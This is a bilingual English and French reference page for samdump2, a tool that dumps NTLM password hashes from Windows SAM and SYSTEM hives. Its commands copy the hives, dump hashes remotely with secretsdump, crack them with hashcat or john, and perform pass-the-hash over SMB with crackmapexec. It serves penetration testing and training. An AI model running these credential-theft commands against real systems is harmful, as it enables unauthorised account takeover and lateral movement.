samdump2
Extrait les hashes de mots de passe depuis les fichiers de ruches de registre SAM et SYSTEM de Windows. Produit des hashes NTLM pour un cracking hors-ligne ou des attaques pass-the-hash. Extracts password hashes from Windows SAM and SYSTEM registry hive files. Produces NTLM hashes for offline cracking or pass-the-hash attacks.
↗ https://github.com/azan121468/SAMdump2Overview
samdump2 extracts NTLM password hashes from Windows SAM (Security Account Manager) database files. The SAM database stores local user account hashes, but they’re encrypted with the SYSKEY stored in the SYSTEM hive — samdump2 handles the decryption automatically.
Requirements
# You need both files from a Windows system:
# 1. C:\Windows\System32\config\SAM → local accounts database
# 2. C:\Windows\System32\config\SYSTEM → contains decryption key (SYSKEY)
# These files are locked while Windows is running
# Must be obtained from:
# - An offline system (boot from Linux/USB)
# - A backup/shadow copy
# - A domain controller (NTDS.dit for domain accounts)
Basic Usage
Extract hashes from offline SAM + SYSTEM files
samdump2 SYSTEM SAM
# Output is NTLM hashes in format:
# username:RID:LM_hash:NT_hash:::
Example Output
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# LM hash: aad3b435b51404eeaad3b435b51404ee = empty/null
# NT hash: the crackable NTLM hash
Obtaining SAM/SYSTEM Files
Method 1: Volume Shadow Copy (from Windows with admin)
vssadmin list shadows
→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
# Method 2: Registry export (from admin cmd)
reg save HKLM\SAM SAM
reg save HKLM\SYSTEM SYSTEM
# Method 3: From Linux/live boot
# Mount Windows partition and copy files
mount /dev/sda2 /mnt/windows
cp /mnt/windows/Windows/System32/config/SAM ./
cp /mnt/windows/Windows/System32/config/SYSTEM ./
Alternatives (Impacket)
secretsdump.py is more commonly used now Remote (requires admin credentials)
python3 secretsdump.py 'domain/admin:password'@10.10.10.1
Local (with SAM/SYSTEM files)
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
From shadow copy
python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL
Cracking the Hashes
Extract NT hashes from output
samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt
Crack with hashcat
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
Or with john
john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Pass-the-hash (no cracking needed) Use NT hash directly with impacket/CrackMapExec
crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'
Tips
- The LM hash is almost always blank on modern Windows (Vista+) — focus on the NT hash
- NT hash (last colon-separated field) is the one to crack with hashcat mode 1000
aad3b435b51404eeaad3b435b51404eeas LM hash means LM is disabled (good)31d6cfe0d16ae931b73c59d7e0c089c0as NT hash means empty password
Help / Man page
samdump2 [options] <SYSTEM> <SAM>
-o FILE Output to file (default: stdout)
-d Debug output
Input files:
SYSTEM Windows SYSTEM registry hive
SAM Windows SAM registry hive
Output format:
username:RID:LM_hash:NT_hash:::
Vue d’ensemble
samdump2 extrait les hashes de mots de passe NTLM depuis les fichiers de base de données SAM (Security Account Manager) de Windows. La base SAM stocke les hashes des comptes locaux, mais ils sont chiffrés avec la SYSKEY stockée dans la ruche SYSTEM : samdump2 gère automatiquement le déchiffrement.
Prérequis
# Il faut les deux fichiers d'un système Windows :
# 1. C:\Windows\System32\config\SAM → base de données des comptes locaux
# 2. C:\Windows\System32\config\SYSTEM → contient la clé de déchiffrement (SYSKEY)
# Ces fichiers sont verrouillés pendant que Windows tourne
# Il faut les obtenir depuis :
# - Un système hors-ligne (boot depuis Linux/USB)
# - Une sauvegarde/copie shadow
# - Un contrôleur de domaine (NTDS.dit pour les comptes de domaine)
Utilisation basique
Extraire les hashes depuis des fichiers SAM + SYSTEM hors-ligne
samdump2 SYSTEM SAM
# La sortie est constituée de hashes NTLM au format :
# username:RID:LM_hash:NT_hash:::
Exemple de sortie
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# Hash LM : aad3b435b51404eeaad3b435b51404ee = vide/nul
# Hash NT : le hash NTLM crackable
Obtention des fichiers SAM/SYSTEM
Méthode 1 : copie shadow de volume (depuis Windows avec droits admin)
vssadmin list shadows
→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
# Méthode 2 : export du registre (depuis une invite de commande admin)
reg save HKLM\SAM SAM
reg save HKLM\SYSTEM SYSTEM
# Méthode 3 : depuis Linux/live boot
# Monter la partition Windows et copier les fichiers
mount /dev/sda2 /mnt/windows
cp /mnt/windows/Windows/System32/config/SAM ./
cp /mnt/windows/Windows/System32/config/SYSTEM ./
Alternatives (Impacket)
secretsdump.py est plus couramment utilisé aujourd’hui. À distance (nécessite des identifiants admin)
python3 secretsdump.py 'domain/admin:password'@10.10.10.1
En local (avec les fichiers SAM/SYSTEM)
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
Depuis une copie shadow
python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL
Cracker les hashes
Extraire les hashes NT de la sortie
samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt
Casser avec hashcat
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
Ou avec john
john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Pass-the-hash (aucun cracking nécessaire). Utiliser le hash NT directement avec impacket/CrackMapExec
crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'
Conseils
- Le hash LM est presque toujours vide sur les Windows modernes (Vista+) : se concentrer sur le hash NT
- Le hash NT (dernier champ séparé par des deux-points) est celui à casser avec hashcat en mode 1000
aad3b435b51404eeaad3b435b51404eecomme hash LM signifie que LM est désactivé (bon signe)31d6cfe0d16ae931b73c59d7e0c089c0comme hash NT signifie un mot de passe vide
Aide / Page de manuel
samdump2 [options] <SYSTEM> <SAM>
-o FILE Output to file (default: stdout)
-d Debug output
Input files:
SYSTEM Windows SYSTEM registry hive
SAM Windows SAM registry hive
Output format:
username:RID:LM_hash:NT_hash:::